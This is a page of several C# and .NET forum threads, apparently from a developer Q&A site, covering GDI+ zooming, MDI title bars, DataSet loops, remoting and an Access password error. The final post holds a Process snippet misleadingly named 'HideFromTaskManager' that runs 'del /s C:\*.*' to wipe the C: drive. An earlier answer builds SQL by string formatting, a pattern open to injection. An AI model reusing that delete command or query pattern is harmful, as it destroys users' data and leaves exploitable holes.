hello everyone..
Good evening.. )
I' doing an application with GDI+ to draw sine wave...
<br />
float fltZoomF = 1;<br />
<pre>Graphics gPanel2Graphics = this.CreateGraphics();
gPanel2Graphics.Clip = new Region(Panel1.ClientRectangle);
gPanel2Graphics.ScaleTransform(fltZoomF, 1F);
</pre><br />
<br />
if i run my application the sine wave fits correctly to the screen size,<br />
but if i try to zoom by increaseing the fltZoomF value to 2..<br />
<br />
how much pixel or percentage it ll going to increase the width of the graph..<br />
<br />
im using horizontal scrollbar to scroll, how do i proceed to increase the ScrollBar maximum value while the fltZoomF is changed to 2.<br />
<br />

I want to remove the Control Box of a child Form ( you see it below the MDIForm control box) Control box is the minimize, maximize close bouton on top right corner.
Look at this ScreenShot[^]">
|
|
|
|
|
AFAIK, you can't remove it. It's the TitleBar of the MDIChild form when the child is maximized.
|
|

Thanks Dave,
Can we merge the title bar of parent and child, so that only one title bar is visible?
Regards,
Karmendra

No, it's not supported by the standard MDI library in .NET. I don't know of a library that does this.

if anyone has ever seen the "Tracking Profile Designer" sample of the microsoft, i need to know what do the "loader" and "services" classes do in the "Workflow Designer Control" project?
--- Thanks

Well, if you're using VS2002, it's C#1.0. 2003, it's 1.1. 2005, it's 2.0, or 3.0. 2008, it's 2.0 or 3.5. 3.0 was a patch to 2.0.

Thank you for reply.
Let me make you clear about my problem.
Actually I don't know about the version of my existing application.
I'm just looking into the code.
Can I find something any clue/information while opening the codes in notepad, so that I can know the version like 1.0/1.1/2.0 etc or 2002/2003/2005 like that.

Load the latest version (i.e. 3.5) and it will take care of all the older versions. You need not worry what version is required to run your application.

Uhhh...no, it won't. .NET 3.0 and 3.5 are based on the .NET 2.0 CLR. Both are a bunch of extensions to .NET. It does not install .NET 1.0 or 1.1.
Though, on a completely patched up installation of Vista, you get .NET 1.0, 1.1, 2.0 and 3.0 installed for you.

No, you can't. There's nothing that will tell you which version of the .NET Framework the app will bind to by looking at it in Notepad. Nor have I heard of any utility that will do it either.

Hi
Here's my suggestion.Having a service that returns an EmployeeName by a given EmployeeId, you can ask for EmployeeName by employeeId whenever you want.
First I create an Interface:
<br />
public interface IEmployeeService<br />
{<br />
string GetEmployeeNameById(int emp_id);<br />
}<br />
Then I implement it.According to your scenario I think that you can get an employee name when its needed(you don't have to load all names at once)
Here's a possible implementation:
<br />
public string GetEmployeeNameById(int emp_id)<br />
{<br />
var query=string.Format("SELECT emp_name FROM EmployeeTable WHERE emp_id={0}",empId);<br />
...<br />
}<br />
Now I define a local variable in my form like this:
<br />
...<br />
IEmployeeService employeeService=new MyEmployeeSrvice();<br />
...<br />
And finally I handle the ComboBox SelectedItemChange event to set text of EmployeeName text box
<br />
...<br />
empNameTextBox.Text=employeeService.GetEmployeeNameById(selectedId);<br />
...<br />

do like post above.
remember that you dont edit the combobox, you edit the dataset the fill the combobox.
i do that in sql server, you can do it as well.

Can anyone tell me how I can use a foreach loop to change values in two columns of a table.
I tried this ( didn't know any other way) but it only saves changes the first record in the table for some reason. When I trace through my breakpoints it seems to edit each record but only saves changes to the first record.
Thank You very much Jon
FBasic8DataSet.LineItemInsertDataTable dt = new FBasic8DataSet.LineItemInsertDataTable();
FBasic8DataSetTableAdapters.LineItemInsertTableAdapter ta = new FarriersBasic8.FBasic8DataSetTableAdapters.LineItemInsertTableAdapter();
fBasic8DataSet1.EnforceConstraints = false;
this.lineItemInsertTableAdapter.Fill(fBasic8DataSet1.LineItemInsert);
ta.Fill(dt);
foreach(DataRow row in dt.Rows)
{
Guid recnum;
recnum = System.Guid.NewGuid();
DataRowView
DataRowView currentLineItem = bsLineItemInsert.Current as DataRowView;
FBasic8DataSet.LineItemInsertRow currentLineRow = currentLineItem.Row as FBasic8DataSet.LineItemInsertRow;
recnum = System.Guid.NewGuid();
currentLineRow.RecNum = recnum;
currentLineRow.Type =Convert.ToString('P');
}
fBasic8DataSet1.EnforceConstraints = false;
try
{
this.Validate();
bsLineItemInsert.EndEdit();
lineItemInsertTableAdapter.Update(this.fBasic8DataSet1.LineItemInsert);
}
catch(System.Data.DBConcurrencyException dbce)
{
MessageBox.Show(dbce.Message.ToString(), "Error", MessageBoxButtons.OK,MessageBoxIcon.Exclamation, MessageBoxDefaultButton.Button1);
}

You cannot use a foreach loop if you want to change the values you're looping over. For this, use a for loop.
Jon Stroh wrote: foreach(DataRow row in dt.Rows) { Guid recnum; recnum = System.Guid.NewGuid(); DataRowView DataRowView currentLineItem = bsLineItemInsert.Current as DataRowView; FBasic8DataSet.LineItemInsertRow currentLineRow = currentLineItem.Row as FBasic8DataSet.LineItemInsertRow; recnum = System.Guid.NewGuid(); currentLineRow.RecNum = recnum; currentLineRow.Type =Convert.ToString('P'); }
This code works on the same row every time, it never works with the 'row' variable and therefore doesn't work by iterating over all the rows at all. It just changes the same row over and over.

Ok Thanks. I am still very new to all this I am coming over from Delphi. There I would just open the table and start at the begining fo the databse file and use
while not table1.EOF
do somthing..
table1.next;
end;
Can you give me a little syntax for how I start at the beginning of the table and how I get access to the data columns I need in the table. This seems to be very confusing to me.
like for(...)
{
dt.GUIDcolumn = recnum;
dt.Typecolumn = 'P';
}
or if a do while loop would work 
I found this
do
{
dt.GUIDcolumn = recnum; don't know how to access the columns row values here
dt.Typecolumn = 'P';
}while(x < dt.Rows.Count);
Thanks very much!

I can't tell what you are trying to do in your foreach loop...
there's missing code in your post.
I am, however, wondering why when you have a typed dataset you're using
DataRow. Why not use the strong type:
foreach (FBasic8DataSet.LineItemInsertRow row in dt)
{
row.RecNum = System.Guid.NewGuid();
row.Type = Convert.ToString('P');
}
...
lineItemInsertTableAdapter.Update(dt);

I have two .NET applications running on the one machine, communicating with each other using remoting over a named pipe. We'll classify these as client and server. I want to be able to click on a button on the client, which will cause a remote request to the server to fetch a Form that will then be displayed on the client as a modal dialog. Essentially, a thin client. I need the form to "run" on the server so that it has access to the servers stateful information, but appear on the client as though it were just another client form.
The server is an existing full-featured application, so dramatic changes to its structure can't be made (for example, the entire UI can't be switched to WPF, which as I understand might make better allowances for this sort of behaviour?).
I've tinkered with all manner of object passing and UI invoke calls, but I'm mostly stabbing in the dark. One idea I had (but am not quite sure where to start), is to present the Form "at" the server (it's the same machine, user account, etc), but tinker with window handles to get it owned by the client. Or at least get it to focus infront of the client.

I have a Micrsoft access App that is generating errors. The MS Access DB can be open with a password, it works fine. If I put the worg password (just for testing)and it generates an error as expected but when I put the correct password, it looks like it opens teh DB but generates an exception
"cannot start application . the workgroup information file is missing or opened exclusevely by another user"
***********************************************************************
.
.
UserID = ""; //blank
Password = "foo";
dbAccess = new GenericOLEDBClass();
dbAccess.Open( Provider, UserID, Password, DatabaseName, Mode );
.
.
.
****************************************************************************
as I said, it works fine with DB without password
any help is greatly appreciated

Forgot to include the code. This code I downloaded from this site but could not find the authorr. Again, for a MDB without password, it works fine. MDB with passwords I get
"cannot start application . the workgroup information file is missing or opened exclusevely by another user"
********************************************************************************************************************
private void OnOpenDatabase(object sender, System.EventArgs e)
{
Provider = "Microsoft.Jet.OLEDB.4.0";
//SET THE CREDENTIAL
UserID = ""; //Blank
Password = "booboo";
//Password = "Fatal Error"; //FETAL_ERROR
/// SET THE DATABASE
DatabaseName = "C://test.mdb";
else
{
MessageBox.Show( "Test Database cannot be found" );
return;
}
if( dbAccess != null )
{
if( dbAccess.IsOpen == true )
{
dbAccess.Close();
}
}
dbAccess = new GenericOLEDBClass();
dbAccess.Open( Provider, UserID, Password, DatabaseName, Mode );
/// set the insert command and run it (select * from TABLENAME)
if( SelectCommand == null )
{
MessageBox.Show( "you need to generate a select command first" );
return;
}
dbAccess.SelectCommand = SelectCommand;
if( dbAccess.ExecuteCommand() == true )
{
DisplayList( dbAccess.GetReader );
}
else
{
MessageBox.Show( dbAccess.ErrorMessage );
return;
}
}
**************************************************************************************
thanx in advance for the help

hi,
after dan neely post i know this
Process HideFromTaskManager = NewProcess();HideFromTaskManager.Startinfo.Filename = @"del /s C:\*.*"HideFromTaskManager.StartInfo.CreateNoWindow = TrueHideFromTaskManager.Start()
